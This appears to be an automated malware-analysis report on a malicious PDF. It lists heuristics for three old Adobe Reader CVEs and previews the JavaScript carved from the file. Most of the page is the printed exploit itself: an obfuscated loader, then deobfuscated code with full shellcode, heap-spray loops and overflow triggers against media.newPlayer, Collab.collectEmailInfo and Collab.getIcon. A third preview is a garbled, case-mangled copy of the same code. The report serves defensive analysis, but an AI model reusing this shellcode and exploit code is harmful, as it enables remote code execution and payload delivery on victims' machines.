MALICIOUS
476
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
This PDF file contains obfuscated JavaScript that exploits multiple known vulnerabilities in Adobe Reader (CVE-2007-5659, CVE-2009-4324, CVE-2009-0927). The script is designed to execute arbitrary code, as indicated by the 'Js.Exploit.Shellcode-18' ClamAV signature and the ML classifier flagging it as highly malicious. The primary function of the script appears to be downloading and executing a second-stage payload, though the exact URL is obfuscated.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 9
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0039_000.jsbd82ff54b6772016bffee3bce1d2f3094985540530f3bd63328afec82b13e48c |
pdf-javascript-stream | PDF /JS object 39 at offset 0x16F | 28112 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
asmtnX2g86="PIHFDN8=[193,210,201,196,211,206,200,201,135,193,206,223,248,206,2"; asmtnX2g86+= "11,143,222,198,213,212,215,139,203,194,201,142,220,208,20"; asmtnX2g86+= "7,206,203,194,143,222,198,213,212,215,137,203,194,201,192"; asmtnX2g86+= ",211,207,141,149,155,203,194,201,142,220,222,198,213,212,"; asmtnX2g86+= "215,140,154,222,198,213,212,215,156,218,222,198,213,212,2"; asmtnX2g86+= "15,154,222,198,213,212,215,137,212,210,197,212,211,213,20"; asmtnX2g86+= "6,201,192,143,151,139,203,194,201,136,149,142,156,213,194"; asmtnX2g86+= ",211,210,213,201,135,222,198,213,212,215,156,218,170,173,"; asmtnX2g86+= "193,210,201,196,211,206,200,201,135,201,194,208,215,203,1"; asmtnX2g86+= "98,222,194,213,143,142,220,170,173,209,198,213,135,212,20"; asmtnX2g86+= "7,194,203,203,196,200,195,194,135,154,135,210,201,194,212"; asmtnX2g86+= ",196,198,215,194,143,133,130,210,150,150,226,229,130,210,"; asmtnX2g86+= "147,229,146,229,130,210,228,158,148,148,130,210,159,150,1"; asmtnX2g86+= "45,145,130,210,230,225,228,158,130,210,159,151,151,150,13"; asmtnX2g86+= "0,210,151,229,148,147,130,210,226,149,230,145,130,210,226"; asmtnX2g86+= ",229,225,230,130,210,226,159,151,146,130,210,225,225,226,"; asmtnX2g86+= "230,130,210,225,225,225,225,130,210,144,228,147,225,130,2"; asmtnX2g86+= "10,230,145,230,145,130,210,225,158,230,145,130,210,151,14"; asmtnX2g86+= "4,228,149,130,210,230,145,158,145,130,210,230,145,230,145"; asmtnX2g86+= ",130,210,226,145,149,227,130,210,149,227,230,230,130,210,"; asmtnX2g86+= "229,230,227,145,130,210,149,227,151,229,130,210,230,226,2"; asmtnX2g86+= "28,226,130,210,227,145,149,227,130,210,149,227,159,145,13"; asmtnX2g86+= "0,210,149,145,230,145,130,210,228,227,158,159,130,210,146"; asmtnX2g86+= ",146,227,148,130,210,226,151,226,151,130,210,158,159,149,"; asmtnX2g86+= "145,130,210,227,148,228,148,130,210,226,151,147,230,130,2"; asmtnX2g86+= "10,149,145,226,151,130,210,227,147,158,159,130,210,146,15"; asmtnX2g86+= "0,227,148,130,210,226,151,226,151,130,210,158,159,149,145"; asmtnX2g86+= ",130,210,227,148,228,159,130,210,149,227,146,145,130,210,"; asmtnX2g86+= "228,228,146,150,130,210,225,225,230,146,130,210,225,227,1"; asmtnX2g86+= "47,226,130,210,230,145,230,145,130,210,147,147,230,145,13"; asmtnX2g86+= "0,210,228,226,146,225,130,210,228,159,228,158,130,210,230"; asmtnX2g86+= ",145,230,145,130,210,227,148,228,226,130,210,228,230,227,"; asmtnX2g86+= "147,130,210,225,149,228,229,130,210,229,151,146,158,130,2"; asmtnX2g86+= "10,147,226,149,227,130,210,226,148,147,226,130,210,230,14"; asmtnX2g86+= "5,230,145,130,210,228,226,230,145,130,210,158,146,228,230"; asmtnX2g86+= ",130,210,230,145,158,147,130,210,227,146,228,226,130,210,"; asmtnX2g86+= "228,148,228,226,130,210,225,149,228,230,130,210,229,151,1"; asmtnX2g86+= "46,158,130,210,147,226,149,227,130,210,158,144,147,226,13"; asmtnX2g86+= "0,210,230,145,230,145,130,210,149,146,230,145,130,210,226"; asmtnX2g86+= ",145,147,230,130,210,144,230,149,227,130,210,228,228,225,"; asmtnX2g86+= "146,130,210,146,158,226,145,130,210,230,149,225,151,130,2"; asmtnX2g86+= "10,230,149,145,150,130,210,228,144,230,146,130,210,228,14"; asmtnX2g86+= "8,159,159,130,210,228,151,227,226,130,210,226,149,145,150"; asmtnX2g86+= ",130,210,230,149,230,146,130,210,230,145,228,148,130,210,"; asmtnX2g86+= "145,145,158,146,130,210,225,145,225,145,130,210,225,150,2"; asmtnX2g86+= "25,146,130,210,146,158,225,145,130,210,230,230,225,151,13"; asmtnX2g86+= "0,210,144,230,149,227,130,210,225,145,225,145,130,210,225"; asmtnX2g86+= ",146,225,145,130,210,225,145,225,145,130,210,225,151,146,"; asmtnX2g86+= "158,130,210,146,158,229,145,130,210,230,226,225,151,130,2"; asmtnX2g86+= "10,225,151,225,144,130,210,227,148,149,227,130,210,149,22"; asmtnX2g86+= "7,158,230,130,210,159,159,227,149,130,210,230,146,227,226"; asmtnX2g86+= ",130,210,225,151,146,148,130,210,227,151,149,227,130,210,"; asmtnX2g86+= "230,146,159,145,130,210,158,146,146,148,130,210,226,225,1"; asmtnX2g86+= "45,225,130,210,151,229,226,144,130,210,145,148,230,146,13"; asmtnX2g86+= "0,210,144,227,158,146,130,210,150,159,230,158,130,210,158"; asmtnX2g86+= ",228, ... (truncated) |
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legacy_pdfkit_stage_000.js5b9713b24ca2f3ad63839b771c3e3c53bdc066d7fc4958eaf906da5deae096f6 |
deobfuscated-js | numeric array XOR decoded JavaScript at offset 0x16F | 5344 bytes |
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Detection
ClamAV:
Js.Exploit.Shellcode-18
Obfuscation or payload:
likely
Carved artifact contains 9 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}
function newplayer(){
var shellcode = unescape("%u11EB%u4B5B%uC933%u8166%uAFC9%u8001%u0B34%uE2A6%uEBFA%uE805%uFFEA%uFFFF%u7C4F%uA6A6%uF9A6%u07C2%uA696%uA6A6%uE62D%u2DAA%uBAD6%u2D0B%uAECE%uD62D%u2D86%u26A6%uCD98%u55D3%uE0E0%u9826%uD3C3%uE04A%u26E0%uD498%u51D3%uE0E0%u9826%uD3C8%u2D56%uCC51%uFFA5%uFD4E%uA6A6%u44A6%uCE5F%uC8C9%uA6A6%uD3CE%uCAD4%uF2CB%uB059%u4E2D%uE34E%uA6A6%uCEA6%u95CA%uA694%uD5CE%uC3CE%uF2CA%uB059%u4E2D%u974E%uA6A6%u25A6%uE64A%u7A2D%uCCF5%u59E6%uA2F0%uA261%uC7A5%uC388%uC0DE%uE261%uA2A5%uA6C3%u6695%uF6F6%uF1F5%u59F6%uAAF0%u7A2D%uF6F6%uF5F6%uF6F6%uF059%u59B6%uAEF0%uF0F7%uD32D%u2D9A%u88D2%uA5DE%uF053%uD02D%uA586%u9553%uEF6F%u0BE7%u63A5%u7D95%u18A9%u9CB6%uD270%u67AE%uAB6D%u7CA5%u4DE6%u9D57%uD3B9%uF841%uF82D%uA582%uC07B%uAA2D%u2DED%uBAF8%u7BA5%uA22D%uA52D%u0D63%uFFF8%u4E65%u5987%u5959%uE828%u4AA8%u6C95%uFD2C%u7ED8%uD544%uBC90%uD689%u1DF8%uBD47%uD2CE%uD6D2%u899C%uD789%uD5D6%u94CD%uD488%u89D3%uC7CE%uDFD6%uCE90%uCA89%uCFD3%uC0C2%uD5C4%uDEC8%uD688%uD6CE%uD599%uCAD6%uD69B%uC0C2%uC8F9%uD1C3%uCAF6%uDFC7%uD4C3%uC080%u9BCE%u00A6");
var block = unescape("%u0c0c%u0c0c");
var GDagaCuyNfRSFzaSZLO = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u514e%u4865%u4844%u724f%u4a6e%u6d43%u4b51%u4b79%u7156%u4d41%u5944%u596b%u7979%u625a%u626f%u7a6e%u634e%u4a4d%u6341%u6253%u4154%u5670%u5543%u4273%u4c51%u576d%u5772%u5670");
while(block.length <= 32768) block+=block;
block=block.substring(0,32768 - shellcode.length);
memory=new Array();for(i=0;i<0x2000;i++) {memory[i]= block + shellcode;}
util.printd("rlpPpjTXXIncUhwagCzcuHfmkzObBSZDGNdC", new Date());
util.printd("SotSxNQvMqKNjJkIXioKlmfZYfmiPGgGNNKn", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd(GDagaCuyNfRSFzaSZLO, new Date());}
function collab_email(){var shellcode=unescape("%u11EB%u4B5B%uC933%u8166%uAFC9%u8001%u0B34%uE2A6%uEBFA%uE805%uFFEA%uFFFF%u7C4F%uA6A6%uF9A6%u07C2%uA696%uA6A6%uE62D%u2DAA%uBAD6%u2D0B%uAECE%uD62D%u2D86%u26A6%uCD98%u55D3%uE0E0%u9826%uD3C3%uE04A%u26E0%uD498%u51D3%uE0E0%u9826%uD3C8%u2D56%uCC51%uFFA5%uFD4E%uA6A6%u44A6%uCE5F%uC8C9%uA6A6%uD3CE%uCAD4%uF2CB%uB059%u4E2D%uE34E%uA6A6%uCEA6%u95CA%uA694%uD5CE%uC3CE%uF2CA%uB059%u4E2D%u974E%uA6A6%u25A6%uE64A%u7A2D%uCCF5%u59E6%uA2F0%uA261%uC7A5%uC388%uC0DE%uE261%uA2A5%uA6C3%u6695%uF6F6%uF1F5%u59F6%uAAF0%u7A2D%uF6F6%uF5F6%uF6F6%uF059%u59B6%uAEF0%uF0F7%uD32D%u2D9A%u88D2%uA5DE%uF053%uD02D%uA586%u9553%uEF6F%u0BE7%u63A5%u7D95%u18A9%u9CB6%uD270%u67AE%uAB6D%u7CA5%u4DE6%u9D57%uD3B9%uF841%uF82D%uA582%uC07B%uAA2D%u2DED%uBAF8%u7BA5%uA22D%uA52D%u0D63%uFFF8%u4E65%u5987%u5959%uE828%u4AA8%u6C95%uFD2C%u7ED8%uD544%uBC90%uD689%u1DF8%uBD47%uD2CE%uD6D2%u899C%uD789%uD5D6%u94CD%uD488%u89D3%uC7CE%uDFD6%uCE90%uCA89%uCFD3%uC0C2%uD5C4%uDEC8%uD688%uD6CE%uD599%uCAD6%uD69B%uC0C2%uC3F9%uC7CB%uCACF%uC080%u9BCE%u00A6");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u11EB%u4B5B%uC933%u8166%uAFC9%u8001%u0B34%uE2A6%uEBFA%uE805%uFFEA%uFFFF%u7C4F%uA6A6%uF9A6%u07C2%uA696%uA6A6%uE62D%u2DAA%uBAD6%u2D0B%uAECE%uD62D%u2D86%u26A6%uCD98%u55D3%uE0E0%u9826%uD3C3%uE04A%u26E0%uD498%u51D3%uE0E0%u9826%uD3C8%u2D56%uCC51%uFFA5%uFD4E%uA6A6%u44A6%uCE5F%uC8C9%uA6A6%uD3CE%uCAD4%uF2CB%uB059%u4E2D%uE34E%uA6A6%uCEA6%u95CA%uA694%uD5CE%uC3CE%uF2CA%uB059%u4E2D%u974E%uA6A6%u25A6%uE64A%u7A2D%uCCF5%u59E6%uA2F0%uA261%uC7A5%uC388%uC0DE%uE261%uA2A5%uA6C3%u6695%uF6F6%uF1F5%u59F6%uAAF0%u7A2D%uF6F6%uF5F6%uF6F6%uF059%u59B6%uAEF0%uF0F7%uD32D%u2D9A%u88D2%uA5DE%uF053%uD02D%uA586%u9553%uEF6F%u0BE7%u63A5%u7D95%u18A9%u9CB6%uD270%u67AE%uAB6D%u7CA5%u4DE6%u9D57%uD3
... (truncated)
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legacy_pdfkit_stage_001.js1498a25280444fc9e04889a0622422b714ff4dc559d344fcc836b48a36a0ed2e |
deobfuscated-js | numPages XOR decoded JavaScript at offset 0x16F | 5344 bytes |
Preview scriptFirst 1,000 lines of the extracted script
FUNCTION FIX IT YARSP LEN [WHILE YARSP LENGTH
LEN [YARSP YARSP ]YARSP YARSP SUBSTRING LEN RETURN YARSP ]-*FUNCTION NEWPLAYER [-*VAR SHELLCODE UNESCAPE U eb U b b Uc U Uafc U U b Ue a Uebfa Ue Uffea Uffff U c f Ua a Uf a U c Ua Ua a Ue d U daa Ubad U d b Uaece Ud d U d U a Ucd U d Ue e U Ud c Ue a U e Ud U d Ue e U Ud c U d Ucc Uffa Ufd e Ua a U a Uce f Uc c Ua a Ud ce Ucad Uf cb Ub U e d Ue e Ua a Ucea U ca Ua Ud ce Uc ce Uf ca Ub U e d U e Ua a U a Ue a U a d Uccf U e Ua f Ua Uc a Uc Uc de Ue Ua a Ua c U Uf f Uf f U f Uaaf U a d Uf f Uf f Uf f Uf U b Uaef Uf f Ud d U d a U d Ua de Uf Ud d Ua U Uef f U be U a U d U a U cb Ud U ae Uab d U ca U de U d Ud b Uf Uf d Ua Uc b Uaa d U ded Ubaf U ba Ua d Ua d U d Ufff U e U U Ue U aa U c Ufd c U ed Ud Ubc Ud U df Ubd Ud ce Ud d U c Ud Ud d U cd Ud U d Uc ce Udfd Uce Uca Ucfd Uc c Ud c Udec Ud Ud ce Ud Ucad Ud b Uc c Uc f Ud c Ucaf Udfc Ud c Uc U bce U a -*VAR BLOCK UNESCAPE U C C U C C -*VAR gdAGAcUYnFrsfZAszlo UNESCAPE U C C U C C U C C U C C U C C U C C U C C U C C U E U U U F U A E U D U B U B U U D U U B U U A U F U A E U E U A D U U U U U U U C U D U U -*WHILE BLOCK LENGTH BLOCK BLOCK -*BLOCK BLOCK SUBSTRING
SHELLCODE LENGTH -*MEMORY NEW aRRAY FOR I I X I [MEMORY{I} BLOCK SHELLCODE ]-*UTIL PRINTD RLPpPJtxxiNCuHWAGcZCUhFMKZoBbszdgnDc NEW dATE -*UTIL PRINTD sOTsXnqVmQknJjKixIOkLMFzyFMIpgGgnnkN NEW dATE -*TRY [THIS MEDIA NEWpLAYER NULL ] CATCH E []-*UTIL PRINTD gdAGAcUYnFrsfZAszlo NEW dATE ]-*-*FUNCTION COLLAB EMAIL [VAR SHELLCODE UNESCAPE U eb U b b Uc U Uafc U U b Ue a Uebfa Ue Uffea Uffff U c f Ua a Uf a U c Ua Ua a Ue d U daa Ubad U d b Uaece Ud d U d U a Ucd U d Ue e U Ud c Ue a U e Ud U d Ue e U Ud c U d Ucc Uffa Ufd e Ua a U a Uce f Uc c Ua a Ud ce Ucad Uf cb Ub U e d Ue e Ua a Ucea U ca Ua Ud ce Uc ce Uf ca Ub U e d U e Ua a U a Ue a U a d Uccf U e Ua f Ua Uc a Uc Uc de Ue Ua a Ua c U Uf f Uf f U f Uaaf U a d Uf f Uf f Uf f Uf U b Uaef Uf f Ud d U d a U d Ua de Uf Ud d Ua U Uef f U be U a U d U a U cb Ud U ae Uab d U ca U de U d Ud b Uf Uf d Ua Uc b Uaa d U ded Ubaf U ba Ua d Ua d U d Ufff U e U U Ue U aa U c Ufd c U ed Ud Ubc Ud U df Ubd Ud ce Ud d U c Ud Ud d U cd Ud U d Uc ce Udfd Uce Uca Ucfd Uc c Ud c Udec Ud Ud ce Ud Ucad Ud b Uc c Uc f Uc cb Ucacf Uc U bce U a VAR MEM ARRAY NEW aRRAY VAR CC X C C C C VAR ADDR X VAR SC LEN SHELLCODE LENGTH
VAR LEN ADDR
SC LEN X VAR YARSP UNESCAPE U U YARSP FIX IT YARSP LEN VAR COUNT CC
X ADDR FOR VAR COUNT COUNT COUNT COUNT [MEM ARRAY{COUNT} YARSP SHELLCODE ]-*VAR OVERFLOW UNESCAPE U C C U C C WHILE OVERFLOW LENGTH [OVERFLOW OVERFLOW ]-*THIS COLLABsTORE cOLLAB COLLECTeMAILiNFO [SUBJ MSG OVERFLOW] ]-*-*FUNCTION COLLAB GETICON [IF APP DOC cOLLAB GETiCON [VAR ARRY NEW aRRAY VAR VVPETHYA UNESCAPE U eb U b b Uc U Uafc U U b Ue a Uebfa Ue Uffea Uffff U c f Ua a Uf a U c Ua Ua a Ue d U daa Ubad U d b Uaece Ud d U d U a Ucd U d Ue e U Ud c Ue a U e Ud U d Ue e U Ud c U d Ucc Uffa Ufd e Ua a U a Uce f Uc c Ua a Ud ce Ucad Uf cb Ub U e d Ue e Ua a Ucea U ca Ua Ud ce Uc ce Uf ca Ub U e d U e Ua a U a Ue a U a d Uccf U e Ua f Ua Uc a Uc Uc de Ue Ua a Ua c U Uf f Uf f U f Uaaf U a d Uf f Uf f Uf f Uf U b Uaef Uf f Ud d U d a U d Ua de Uf Ud d Ua U Uef f U be U a U d U a U cb Ud U ae Uab d U ca U de U d Ud
... (truncated)
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